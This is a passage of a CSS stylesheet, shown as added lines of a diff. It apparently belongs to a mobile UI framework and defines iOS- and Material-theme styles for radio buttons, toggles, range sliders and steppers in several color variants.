background-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black .radio .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md .radio.color-red .icon-radio:after { + background-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .radio.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .radio.color-green .icon-radio:after { + background-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .radio.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .radio.color-blue .icon-radio:after { + background-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .radio.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .radio.color-pink .icon-radio:after { + background-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .radio.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .radio.color-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .radio.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .radio.color-orange .icon-radio:after { + background-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .radio.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .radio.color-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .radio.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .radio.color-white .icon-radio:after { + background-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .radio.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .radio.color-black .icon-radio:after { + background-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .radio.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .toggle { + width: 52px; + border-radius: 16px; + height: 32px; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon { + background: #4cd964; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(-20px); + transform: translateX(-20px); +} +.ios .toggle-icon { + width: 52px; + border-radius: 16px; + height: 32px; + background: #e5e5e5; +} +.ios .toggle-icon:before { + position: absolute; + right: 2px; + top: 2px; + width: 48px; + height: 28px; + border-radius: 16px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #fff; + z-index: 1; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: scale(1); + transform: scale(1); +} +.ios .toggle-icon:after { + height: 28px; + width: 28px; + top: 2px; + right: 2px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + border-radius: 14px; +} +.ios .toggle-active-state input[type="checkbox"]:not(:checked) + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle-active-state input[type="checkbox"] + .toggle-icon:after { + width: 35px; +} +.ios .toggle-active-state input[type="checkbox"]:checked + .toggle-icon:after { + width: 35px; + -webkit-transform: translateX(-13px); + transform: translateX(-13px); +} +.ios .theme-dark .toggle-icon { + background-color: #fff; +} +.ios .theme-dark .toggle-icon:before { + background-color: #1c1c1d; +} +.ios .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff3b30; +} +.ios .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background-color: #4cd964; +} +.ios .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background-color: #007aff; +} +.ios .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff2d55; +} +.ios .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffcc00; +} +.ios .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff9500; +} +.ios .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background-color: #8e8e93; +} +.ios .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffffff; +} +.ios .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background-color: #000000; +} +.md .toggle { + width: 36px; + height: 14px; +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(-16px); + transform: translateX(-16px); + background: #2196f3; +} +.md .toggle-icon { + width: 36px; + height: 14px; + border-radius: 14px; + background: #b0afaf; +} +.md .toggle-icon:after { + height: 20px; + width: 20px; + top: -3px; + -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.4); + border-radius: 10px; + right: 0; +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .toggle input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background: rgba(244, 67, 54, 0.5); +} +.md .toggle.color-red input[type="checkbox"]:checked + .toggle-icon:after { + background: #f44336; +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background: rgba(76, 175, 80, 0.5); +} +.md .toggle.color-green input[type="checkbox"]:checked + .toggle-icon:after { + background: #4caf50; +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background: rgba(33, 150, 243, 0.5); +} +.md .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon:after { + background: #2196f3; +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background: rgba(233, 30, 99, 0.5); +} +.md .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon:after { + background: #e91e63; +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 235, 59, 0.5); +} +.md .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffeb3b; +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 152, 0, 0.5); +} +.md .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon:after { + background: #ff9800; +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background: rgba(158, 158, 158, 0.5); +} +.md .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon:after { + background: #9e9e9e; +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background: rgba(255, 255, 255, 0.5); +} +.md .toggle.color-white input[type="checkbox"]:checked + .toggle-icon:after { + background: #ffffff; +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background: rgba(0, 0, 0, 0.5); +} +.md .toggle.color-black input[type="checkbox"]:checked + .toggle-icon:after { + background: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: hidden; +} +.range-bar-active { + position: absolute; + right: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + right: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.ios .range-slider { + height: 28px; +} +.ios .range-bar { + background: #b7b8b7; + border-radius: 2px; + height: 1px; +} +.ios .range-bar-active { + background: #007aff; +} +.ios .range-knob-wrap { + height: 28px; + width: 28px; + margin-top: -14px; + margin-right: -14px; +} +.ios .range-knob { + background: #fff; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); +} +.ios .range-knob-label { + min-width: 20px; + height: 20px; + line-height: 20px; + background: #fff; + border-radius: 5px; + color: #000; + font-size: 12px; + margin-bottom: 6px; + -webkit-transform: translateX(-50%) translateY(100%) scale(0); + transform: translateX(-50%) translateY(100%) scale(0); +} +.ios .range-knob-active-state .range-knob-label { + -webkit-transform: translateX(-50%) translateY(0%) scale(1); + transform: translateX(-50%) translateY(0%) scale(1); +} +.ios .color-theme-red .range-slider .range-bar-active { + background-color: #ff3b30; +} +.ios .color-theme-green .range-slider .range-bar-active { + background-color: #4cd964; +} +.ios .color-theme-blue .range-slider .range-bar-active { + background-color: #007aff; +} +.ios .color-theme-pink .range-slider .range-bar-active { + background-color: #ff2d55; +} +.ios .color-theme-yellow .range-slider .range-bar-active { + background-color: #ffcc00; +} +.ios .color-theme-orange .range-slider .range-bar-active { + background-color: #ff9500; +} +.ios .color-theme-gray .range-slider .range-bar-active { + background-color: #8e8e93; +} +.ios .color-theme-white .range-slider .range-bar-active { + background-color: #ffffff; +} +.ios .color-theme-black .range-slider .range-bar-active { + background-color: #000000; +} +.ios .range-slider.color-red .range-bar-active { + background-color: #ff3b30; +} +.ios .range-slider.color-green .range-bar-active { + background-color: #4cd964; +} +.ios .range-slider.color-blue .range-bar-active { + background-color: #007aff; +} +.ios .range-slider.color-pink .range-bar-active { + background-color: #ff2d55; +} +.ios .range-slider.color-yellow .range-bar-active { + background-color: #ffcc00; +} +.ios .range-slider.color-orange .range-bar-active { + background-color: #ff9500; +} +.ios .range-slider.color-gray .range-bar-active { + background-color: #8e8e93; +} +.ios .range-slider.color-white .range-bar-active { + background-color: #ffffff; +} +.ios .range-slider.color-black .range-bar-active { + background-color: #000000; +} +.md .range-slider { + height: 20px; +} +.md .range-bar { + background: #b9b9b9; + height: 2px; + margin-top: -1px; +} +.md .range-bar-active { + background: #2196f3; +} +.md .range-knob-wrap { + height: 12px; + width: 12px; + margin-top: -6px; + margin-right: -6px; +} +.md .range-knob { + background: #2196f3; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: background-color, -webkit-transform; + transition-property: background-color, -webkit-transform; + transition-property: transform, background-color; + transition-property: transform, background-color, -webkit-transform; +} +.md .range-knob-active-state .range-knob { + -webkit-transform: scale(1.5); + transform: scale(1.5); +} +.md .range-slider-min:not(.range-slider-dual) .range-knob { + background: #fff !important; + border: 2px solid #b9b9b9; +} +.md .range-knob-label { + width: 26px; + height: 26px; + margin-left: -13px; + margin-bottom: 8px; + background: #2196f3; + color: #fff; + font-size: 10px; + border-radius: 50%; + line-height: 26px; +} +.md .range-knob-label:before { + content: ''; + left: 50%; + top: 0px; + margin-left: -13px; + position: absolute; + z-index: -1; + width: 26px; + height: 26px; + background: #2196f3; + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + border-radius: 50% 50% 50% 0; +} +.md .range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.md .range-slider-label .range-knob-active-state .range-knob { + -webkit-transform: scale(0); + transform: scale(0); +} +.md .color-theme-red .range-slider .range-bar-active, +.md .color-theme-red .range-slider .range-knob, +.md .color-theme-red .range-slider .range-knob-label, +.md .color-theme-red .range-slider .range-knob-label:before { + background-color: #f44336; +} +.md .color-theme-green .range-slider .range-bar-active, +.md .color-theme-green .range-slider .range-knob, +.md .color-theme-green .range-slider .range-knob-label, +.md .color-theme-green .range-slider .range-knob-label:before { + background-color: #4caf50; +} +.md .color-theme-blue .range-slider .range-bar-active, +.md .color-theme-blue .range-slider .range-knob, +.md .color-theme-blue .range-slider .range-knob-label, +.md .color-theme-blue .range-slider .range-knob-label:before { + background-color: #2196f3; +} +.md .color-theme-pink .range-slider .range-bar-active, +.md .color-theme-pink .range-slider .range-knob, +.md .color-theme-pink .range-slider .range-knob-label, +.md .color-theme-pink .range-slider .range-knob-label:before { + background-color: #e91e63; +} +.md .color-theme-yellow .range-slider .range-bar-active, +.md .color-theme-yellow .range-slider .range-knob, +.md .color-theme-yellow .range-slider .range-knob-label, +.md .color-theme-yellow .range-slider .range-knob-label:before { + background-color: #ffeb3b; +} +.md .color-theme-orange .range-slider .range-bar-active, +.md .color-theme-orange .range-slider .range-knob, +.md .color-theme-orange .range-slider .range-knob-label, +.md .color-theme-orange .range-slider .range-knob-label:before { + background-color: #ff9800; +} +.md .color-theme-gray .range-slider .range-bar-active, +.md .color-theme-gray .range-slider .range-knob, +.md .color-theme-gray .range-slider .range-knob-label, +.md .color-theme-gray .range-slider .range-knob-label:before { + background-color: #9e9e9e; +} +.md .color-theme-white .range-slider .range-bar-active, +.md .color-theme-white .range-slider .range-knob, +.md .color-theme-white .range-slider .range-knob-label, +.md .color-theme-white .range-slider .range-knob-label:before { + background-color: #ffffff; +} +.md .color-theme-black .range-slider .range-bar-active, +.md .color-theme-black .range-slider .range-knob, +.md .color-theme-black .range-slider .range-knob-label, +.md .color-theme-black .range-slider .range-knob-label:before { + background-color: #000000; +} +.md .range-slider.color-red .range-bar-active, +.md .range-slider.color-red .range-knob, +.md .range-slider.color-red .range-knob-label, +.md .range-slider.color-red .range-knob-label:before { + background-color: #f44336; +} +.md .range-slider.color-green .range-bar-active, +.md .range-slider.color-green .range-knob, +.md .range-slider.color-green .range-knob-label, +.md .range-slider.color-green .range-knob-label:before { + background-color: #4caf50; +} +.md .range-slider.color-blue .range-bar-active, +.md .range-slider.color-blue .range-knob, +.md .range-slider.color-blue .range-knob-label, +.md .range-slider.color-blue .range-knob-label:before { + background-color: #2196f3; +} +.md .range-slider.color-pink .range-bar-active, +.md .range-slider.color-pink .range-knob, +.md .range-slider.color-pink .range-knob-label, +.md .range-slider.color-pink .range-knob-label:before { + background-color: #e91e63; +} +.md .range-slider.color-yellow .range-bar-active, +.md .range-slider.color-yellow .range-knob, +.md .range-slider.color-yellow .range-knob-label, +.md .range-slider.color-yellow .range-knob-label:before { + background-color: #ffeb3b; +} +.md .range-slider.color-orange .range-bar-active, +.md .range-slider.color-orange .range-knob, +.md .range-slider.color-orange .range-knob-label, +.md .range-slider.color-orange .range-knob-label:before { + background-color: #ff9800; +} +.md .range-slider.color-gray .range-bar-active, +.md .range-slider.color-gray .range-knob, +.md .range-slider.color-gray .range-knob-label, +.md .range-slider.color-gray .range-knob-label:before { + background-color: #9e9e9e; +} +.md .range-slider.color-white .range-bar-active, +.md .range-slider.color-white .range-knob, +.md .range-slider.color-white .range-knob-label, +.md .range-slider.color-white .range-knob-label:before { + background-color: #ffffff; +} +.md .range-slider.color-black .range-bar-active, +.md .range-slider.color-black .range-knob, +.md .range-slider.color-black .range-knob-label, +.md .range-slider.color-black .range-knob-label:before { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.ios .stepper { + height: 29px; +} +.ios .stepper-button, +.ios .stepper-button-minus, +.ios .stepper-button-plus { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; + width: 40px; +} +.ios .stepper-button .f7-icons, +.ios .stepper-button-minus .f7-icons, +.ios .stepper-button-plus .f7-icons { + font-size: 22px; +} +.ios .stepper-button:first-child, +.ios .stepper-button-minus:first-child, +.ios .stepper-button-plus:first-child { + border-radius: 0 5px 5px 0; +} +.ios .stepper-button:last-child, +.ios .stepper-button-minus:last-child, +.ios .stepper-button-plus:last-child { + border-radius: 5px 0 0 5px; +} +.ios .stepper-button.active-state, +.ios .stepper-button-minus.active-state, +.ios .stepper-button-plus.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .stepper-button + .stepper-button, +.ios .stepper-button-minus + .stepper-button, +.ios .stepper-button-plus + .stepper-button, +.ios .stepper-button + .stepper-button-minus, +.ios .stepper-button-minus + .stepper-button-minus, +.ios .stepper-button-plus + .stepper-button-minus, +.ios .stepper-button + .stepper-button-plus, +.ios .stepper-button-minus + .stepper-button-plus, +.ios .stepper-button-plus + .stepper-button-plus { + border-right: none; +} +.ios .stepper-button-plus:after, +.ios .stepper-button-minus:after, +.ios .stepper-button-plus:before, +.ios .stepper-button-minus:before { + background: #007aff; +} +.ios .stepper-input-wrap, +.ios .stepper-value { + border-top: 1px solid #007aff; + border-bottom: 1px solid #007aff; +} +.ios .stepper .stepper-value { + color: #007aff; + font-size: 17px; +} +.ios .stepper .stepper-input-wrap input { + height: 100%; + text-align: center; + color: #007aff; + font-size: 17px; +} +.ios .stepper-fill .stepper-button, +.ios .stepper-fill-ios .stepper-button, +.ios .stepper-fill .stepper-button-minus, +.ios .stepper-fill-ios .stepper-button-minus, +.ios .stepper-fill .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-plus { + color: #fff; + background: #007aff; +} +.ios .stepper-fill .stepper-button.active-state, +.ios .stepper-fill-ios .stepper-button.active-state, +.ios .stepper-fill .stepper-button-minus.active-state, +.ios .stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-fill .stepper-button-plus.active-state, +.ios .stepper-fill-ios .stepper-button-plus.active-state { + opacity: 0.8; +} +.ios .stepper-fill .stepper-button-plus:before, +.ios .stepper-fill-ios .stepper-button-plus:before, +.ios .stepper-fill .stepper-button-minus:before, +.ios .stepper-fill-ios .stepper-button-minus:before, +.ios .stepper-fill .stepper-button-plus:after, +.ios .stepper-fill-ios .stepper-button-plus:after, +.ios .stepper-fill .stepper-button-minus:after, +.ios .stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper-fill .stepper-button + .stepper-button, +.ios .stepper-fill-ios .stepper-button + .stepper-button, +.ios .stepper-fill .stepper-button-minus + .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .stepper-round .stepper-button:first-child, +.ios .stepper-round-ios .stepper-button:first-child, +.ios .stepper-round .stepper-button-minus:first-child, +.ios .stepper-round-ios .stepper-button-minus:first-child, +.ios .stepper-round .stepper-button-plus:first-child, +.ios .stepper-round-ios .stepper-button-plus:first-child { + border-radius: 0 29px 29px 0; +} +.ios .stepper-round .stepper-button:last-child, +.ios .stepper-round-ios .stepper-button:last-child, +.ios .stepper-round .stepper-button-minus:last-child, +.ios .stepper-round-ios .stepper-button-minus:last-child, +.ios .stepper-round .stepper-button-plus:last-child, +.ios .stepper-round-ios .stepper-button-plus:last-child { + border-radius: 29px 0 0 29px; +} +.ios .stepper-small, +.ios .stepper-small-ios { + height: 26px; +} +.ios .stepper-small .stepper-input-wrap, +.ios .stepper-small-ios .stepper-input-wrap, +.ios .stepper-small .stepper-value, +.ios .stepper-small-ios .stepper-value { + border-top-width: 2px; + border-bottom-width: 2px; +} +.ios .stepper-small .stepper-button, +.ios .stepper-small-ios .stepper-button, +.ios .stepper-small .stepper-button-minus, +.ios .stepper-small-ios .stepper-button-minus, +.ios .stepper-small .stepper-button-plus, +.ios .stepper-small-ios .stepper-button-plus { + height: 26px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 22px; + border-width: 2px; +} +.ios .stepper-small .stepper-button .f7-icons, +.ios .stepper-small-ios .stepper-button .f7-icons, +.ios .stepper-small .stepper-button-minus .f7-icons, +.ios .stepper-small-ios .stepper-button-minus .f7-icons, +.ios .stepper-small .stepper-button-plus .f7-icons, +.ios .stepper-small-ios .stepper-button-plus .f7-icons { + font-size: 18px; +} +.ios .stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; + opacity: 1; +} +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill 